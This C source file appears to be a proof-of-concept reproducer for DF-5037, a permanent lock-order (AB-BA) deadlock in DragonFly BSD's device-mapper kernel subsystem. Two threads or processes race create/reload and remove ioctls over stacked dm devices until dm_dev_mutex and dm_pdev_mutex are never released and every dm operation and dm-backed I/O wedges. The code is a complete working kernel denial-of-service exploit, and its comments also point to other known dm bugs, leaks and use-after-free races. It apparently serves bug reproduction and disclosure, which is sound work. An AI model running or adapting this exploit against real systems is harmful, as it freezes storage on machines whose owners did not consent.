/*
 * dm_abba.c — DF-5037 PoC: permanent AB-BA kernel deadlock in DragonFly dm
 *             (dm_pdev_mutex held across vn_open()  <->  dm_dev_mutex held
 *              across cv_wait()/dm_table_destroy()).
 *
 * Thread A (loader): hammer "create"+"reload" ioctls building dm-on-dm
 *   tables (linear over /dev/mapper/pbase).  The linear ctor calls
 *   dm_pdev_insert() which takes dm_pdev_mutex EXCLUSIVE and then does
 *   vn_open("/dev/mapper/pbase") -> dmopen() -> dm_dev_lookup() which takes
 *   dm_dev_mutex.  So A can sleep holding dm_pdev_mutex (+ a busy ref on
 *   the device being reloaded + its table_mtx SHARED).
 *
 * Thread B (remover): hammer "remove_all" ioctl.  dm_dev_remove_all() takes
 *   dm_dev_mutex EXCLUSIVE and then disable_dev() cv_waits for ref_cnt==0
 *   and dm_dev_destroy() -> dm_table_destroy() -> linear dtor ->
 *   dm_pdev_decr() which takes dm_pdev_mutex.
 *
 * Two manifestations of the same inversion, both permanent:
 *   (1) A holds dm_pdev_mutex, wants dm_dev_mutex;
 *       B holds dm_dev_mutex, wants dm_pdev_mutex (dtor path).
 *   (2) A holds a dm_dev busy ref (mid-reload), blocked in dm_dev_lookup
 *       wanting dm_dev_mutex; B in disable_dev holds dm_dev_mutex and
 *       cv_waits for A's ref to drop.
 *
 * Result: both threads sleep forever, dm_dev_mutex/dm_pdev_mutex are never
 * released, every subsequent dm ioctl (and every I/O to any dm device)
 * wedges.  Root privileges required (/dev/mapper/control is 0640
 * root:operator, group cannot write).
 *
 * Build:  headers: cp -r sys/libprop /tmp/propinc/libprop
 *         cc -O2 -Wall -I/tmp/propinc -o dm_abba dm_abba.c -lprop -lpthread
 * Run:    ./dm_abba /dev/vbd0        (backing block device, opened R/W but
 *                                      never read/written)
 * Exit:   0  = ran to completion without wedging (timer expired)
 *         42 = DEADLOCK detected (both worker threads frozen, dm wedged)
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <signal.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <libprop/proplib.h>

/* struct plistref comes in via <libprop/plistref.h> */
#define DM_IOCTL 0xfd
#define NETBSD_DM_IOCTL _IOWR(DM_IOCTL, 0, struct plistref)

#define NFILL	2		/* filler devices over raw backing	*/
#define NPBASE	4		/* base dm devices over raw backing	*/
#define NSTK	4		/* stacked: stkI over /dev/mapper/pbaseI */
#define NENT	8		/* linear table entries per device	*/

static int ctlfd = -1;
static const char *backing;

struct shared {
	unsigned long a, b;	/* progress counters			*/
	unsigned long fail;	/* failed reloads (leak-rate indicator)	*/
	unsigned long frozen_a, frozen_b;
	int last_r1, last_r2, last_c1, last_c2;
	double freeze_t;
	volatile int stop;
};
static struct shared *sh;

static double
now(void)
{
	struct timespec ts;
	clock_gettime(CLOCK_MONOTONIC, &ts);
	return ts.tv_sec + ts.tv_nsec / 1e9;
}

/* Build the "command" wrapper dictionary the kernel expects. */
static prop_dictionary_t
mkcmd2(const char *cmd, const char *name)
{
	prop_dictionary_t d = prop_dictionary_create();
	prop_array_t ver;
	int i;

	ver = prop_array_create();
	for (i = 0; i < 3; i++)
		prop_array_add_uint32(ver, (uint32_t)(i == 0 ? 4 : (i == 1 ? 16 : 0)));
	prop_dictionary_set(d, "version", ver);
	prop_object_release(ver);
	prop_dictionary_set_cstring(d, "command", cmd);
	if (name)
		prop_dictionary_set_cstring(d, "name", name);
	prop_dictionary_set_uint32(d, "flags", 0);
	prop_dictionary_set_uint32(d, "minor", 0);
	return d;
}

static int
dm_do(prop_dictionary_t d)
{
	prop_dictionary_t out = NULL;
	int r;

	r = prop_dictionary_sendrecv_ioctl(d, ctlfd, NETBSD_DM_IOCTL, &out);
	if (out)
		prop_object_release(out);
	return r;
}

/* "reload" <name> with NENT linear entries over <dev> */
static int
reload_lin(const char *name, const char *dev)
{
	prop_dictionary_t d, t;
	prop_array_t arr;
	char params[256];
	int e, r;

	d = mkcmd2("reload", name);
	arr = prop_array_create();
	for (e = 0; e < NENT; e++) {
		t = prop_dictionary_create();
		prop_dictionary_set_cstring(t, "type", "linear");
		prop_dictionary_set_uint64(t, "start", (uint64_t)e);
		prop_dictionary_set_uint64(t, "length", (uint64_t)1);
		snprintf(params, sizeof(params), "%s 0", dev);
		prop_dictionary_set_cstring(t, "params", params);
		prop_array_add(arr, t);
		prop_object_release(t);
	}
	prop_dictionary_set(d, "cmd_data", arr);
	prop_object_release(arr);
	r = dm_do(d);
	prop_object_release(d);
	return r;
}

static int
create_dev(const char *name)
{
	prop_dictionary_t d = mkcmd2("create", name);
	int r = dm_do(d);
	prop_object_release(d);
	return r;
}

static void *
loader(void *arg)
{
	char nm[32];
	int i;

	(void)arg;
	while (!sh->stop) {
			/* fillers + base devices over the raw backing */
		for (i = 0; i < NFILL; i++) {
			snprintf(nm, sizeof(nm), "fill%d", i);
			create_dev(nm);		/* EEXIST is fine */
			if (reload_lin(nm, backing) != 0)
				sh->fail++;
		}
		for (i = 0; i < NPBASE; i++) {
			snprintf(nm, sizeof(nm), "pbase%d", i);
			create_dev(nm);
			if (reload_lin(nm, backing) != 0)
				sh->fail++;
		}
		/* stacked devices: stkI over the dm device pbaseI --
		 * dm_pdev_insert() here does vn_open("/dev/mapper/pbaseI")
		 * under dm_pdev_mutex, which re-enters dm (dmopen ->
		 * dm_dev_lookup -> dm_dev_mutex): the A side of the AB-BA. */
		for (i = 0; i < NSTK; i++) {
			char bn[32];
			snprintf(bn, sizeof(bn), "/dev/mapper/pbase%d", i);
			snprintf(nm, sizeof(nm), "stk%d", i);
			create_dev(nm);
			if (reload_lin(nm, bn) != 0)
				sh->fail++;
		}
		sh->a++;
	}
	return NULL;
}

static void *
remover(void *arg)
{
	prop_dictionary_t d;

	(void)arg;
	while (!sh->stop) {
		d = mkcmd2("remove_all", NULL);
		dm_do(d);
		prop_object_release(d);
		sh->b++;
		/* pace the remover so loader reloads mostly SUCCEED:
		 * failed reloads hit dm_table_load_ioctl ENOENT paths that
		 * leak the inbound prop tree (known DF-4474) and would
		 * kmalloc-panic the guest long before the deadlock race
		 * can play out (limit = RAM/10 per malloc type). */
		usleep(30000);
	}
	return NULL;
}

static int
resume_dev(const char *name)
{
	prop_dictionary_t d = mkcmd2("resume", name);
	int r = dm_do(d);
	prop_object_release(d);
	return r;
}

static int
remove_dev(const char *name)
{
	prop_dictionary_t d = mkcmd2("remove", name);
	int r = dm_do(d);
	prop_object_release(d);
	return r;
}

/*
 * duel mode: deterministic variant-2 trigger.
 *   P1 hammers reload(stack) with backing /dev/mapper/pbase (dm-on-dm).
 *      Each reload holds a dm_dev busy ref on `stack` for the whole ioctl
 *      and, inside it, (a) destroys the previous inactive table ->
 *      dm_pdev_decr -> dm_pdev_free -> vn_close(pbase vnode) -> dmclose
 *      -> dm_dev_lookup -> dm_dev_mutex, and (b) in the ctor ->
 *      dm_pdev_insert -> vn_open -> dmopen -> dm_dev_lookup ->
 *      dm_dev_mutex.
 *   P2 hammers remove(stack): dm_dev_remove_ioctl drops its own ref then
 *      dm_dev_remove -> disable_dev() cv_waits for ref_cnt==0 WHILE
 *      HOLDING dm_dev_mutex (dm_dev.c:308-310 + 73-75).
 * Interleave: P2 sleeps in cv_wait holding dm_dev_mutex waiting for P1's
 * busy ref; P1 sleeps in dmclose/dmopen -> dm_dev_lookup waiting for
 * dm_dev_mutex.  Permanent kernel deadlock; whole dm subsystem wedges.
 */
static void
duel(const char *backing, int runtime)
{
	pid_t p1, p2;
	double t0 = now();

	/* The stacked backing /dev/mapper/pbase must be RESUMED before its
	 * node is openable: dm_dev_resume_ioctl -> dmsetdiskinfo sets the
	 * disk media info; before that the disk layer fails opens (ENXIO)
	 * and dm_pdev_insert() would fail for every stacked table load. */
	create_dev("pbase");
	reload_lin("pbase", backing);
	if (resume_dev("pbase") != 0)
		printf("[!] resume(pbase) failed\n");
	create_dev("stk");

	printf("[*] duel: backing=%s runtime=%ds\n", backing, runtime);
	fflush(stdout);

	p1 = fork();
	if (p1 == 0) {
		for (;;) {
			int r = reload_lin("stk", "/dev/mapper/pbase");
			sh->last_r1 = r;
			if (r != 0) {
				/* stk was removed underneath us: let the
				 * remover finish its synchronous destroy,
				 * then rebuild (avoids the KNOWN DF-2443/
				 * DF-2447 remove/recreate UAF races). */
				sh->fail++;
				usleep(2000);
				sh->last_c1 = create_dev("pbase");
				if (sh->last_c1 == 0) {
					/* pbase was missing: rebuild it as an
					 * openable (resumed) device */
					reload_lin("pbase", "/dev/vbd0");
					sh->last_c1 = resume_dev("pbase");
				}
				sh->last_c2 = create_dev("stk");
				sh->last_r1 = reload_lin("stk",
				    "/dev/mapper/pbase");
			}
			sh->a++;
			if (sh->stop)
				_exit(0);
		}
	}
	p2 = fork();
	if (p2 == 0) {
		for (;;) {
			sh->last_r2 = remove_dev("stk");
			sh->b++;
			if (sh->stop)
				_exit(0);
			/* give P1 a clean window to recreate stk and
			 * resume hammering reloads before the next
			 * remove lands mid-reload; keep the pace slow
			 * so the dm unit/clone bitmap (DF-4900 aliasing
			 * after ~512 create/destroy cycles) stays clean
			 * long enough for the wedge to land. */
			usleep(5000);
		}
	}

	for (;;) {
		sleep(2);
		printf("[+] %5.1fs p1_reload=%lu p2_remove=%lu fails=%lu "
		    "r1=%d r2=%d c1=%d c2=%d\n",
		    now() - t0, sh->a, sh->b, sh->fail,
		    sh->last_r1, sh->last_r2, sh->last_c1, sh->last_c2);
		fflush(stdout);
		if (now() - t0 > runtime) {
			printf("[*] runtime elapsed, no deadlock "
			    "(p1=%lu p2=%lu)\n", sh->a, sh->b);
			fflush(stdout);
			sh->stop = 1;
			kill(p1, SIGKILL);
			kill(p2, SIGKILL);
			return;
		}
		if (sh->a == 0 && sh->b == 0)
			continue;
		if (sh->frozen_a == sh->a && sh->frozen_b == sh->b) {
			if (sh->freeze_t < 0.0)
				sh->freeze_t = now();
			else if (now() - sh->freeze_t > 6.0) {
				printf("[!] DEADLOCK: p1=%lu p2=%lu frozen "
				    "for %.1fs\n", sh->a, sh->b,
				    now() - sh->freeze_t);
				fflush(stdout);
				system("ps axo pid,stat,wchan,comm "
				    ">/dev/console 2>&1");
				printf("[*] canary: dmsetup ls (8s)\n");
				fflush(stdout);
				if (system("timeout 8 dmsetup ls") != 0)
					printf("[!] canary TIMED OUT: dm "
					    "subsystem wedged\n");
				else
					printf("[*] canary OK?!\n");
				fflush(stdout);
				sh->stop = 1;
				return;
			}
		} else {
			sh->frozen_a = sh->a;
			sh->frozen_b = sh->b;
			sh->freeze_t = -1.0;
		}
	}
}

int
main(int argc, char **argv)
{
	pthread_t ta, tb;
	unsigned long la = 0, lb = 0;
	double t0, tfreeze = -1.0, tlast;
	int runtime = 240;

	if (argc < 2)
		errx(1, "usage: %s <backing-dev> [runtime_sec] | %s duel <backing-dev> [runtime_sec]",
		    argv[0], argv[0]);

	ctlfd = open("/dev/mapper/control", O_RDWR);
	if (ctlfd < 0)
		err(1, "open /dev/mapper/control (need root)");

	if (strcmp(argv[1], "duel") == 0) {
		backing = argc > 2 ? argv[2] : "/dev/vbd0";
		if (argc > 3)
			runtime = atoi(argv[3]);
		sh = mmap(NULL, sizeof(*sh), PROT_READ|PROT_WRITE,
		    MAP_SHARED|MAP_ANON, -1, 0);
		memset(sh, 0, sizeof(*sh));
		sh->freeze_t = -1.0;
		duel(backing, runtime);
		return 0;
	}
	backing = argv[1];
	if (argc > 2)
		runtime = atoi(argv[2]);

	sh = calloc(1, sizeof(*sh));

	printf("[*] backing=%s runtime=%ds\n", backing, runtime);
	fflush(stdout);

	if (pthread_create(&ta, NULL, loader, NULL) ||
	    pthread_create(&tb, NULL, remover, NULL))
		errx(1, "pthread_create");

	t0 = tlast = now();
	while (now() - t0 < runtime) {
		sleep(2);
		unsigned long ca = sh->a, cb = sh->b;
		double t = now();
		printf("[+] %5.1fs  loader_iters=%lu remover_iters=%lu reload_fails=%lu\n",
		    t - t0, ca, cb, sh->fail);
		fflush(stdout);
		if (ca == la && cb == lb) {
			/* both counters frozen: check the threads are really
			 * stuck inside ioctls (killable check happens below) */
			if (tfreeze < 0.0) {
				tfreeze = t;
			} else if (t - tfreeze > 8.0) {
				printf("[!] DEADLOCK: both threads frozen for "
				    "%.1fs (loader=%lu remover=%lu)\n",
				    t - tfreeze, ca, cb);
				fflush(stdout);
				/* thread states survive on the serial console */
				system("ps axo pid,stat,wchan,comm "
				    ">/dev/console 2>&1");
				system("ps axl >/dev/console 2>&1");
				/* canary: any dm ioctl must now wedge too */
				printf("[*] canary: `timeout 8 dmsetup ls`\n");
				fflush(stdout);
				if (system("timeout 8 dmsetup ls >/tmp/canary.out 2>&1") != 0)
					printf("[!] canary dmsetup ls TIMED OUT "
					    "-> dm subsystem wedged\n");
				else
					printf("[*] canary unexpectedly OK\n");
				fflush(stdout);
				sh->stop = 1;
				return 42;
			}
		} else {
			tfreeze = -1.0;
		}
		la = ca; lb = cb;
	}
	sh->stop = 1;
	pthread_join(ta, NULL);
	pthread_join(tb, NULL);
	printf("[*] runtime elapsed without deadlock (loader=%lu remover=%lu)\n",
	    sh->a, sh->b);
	return 0;
}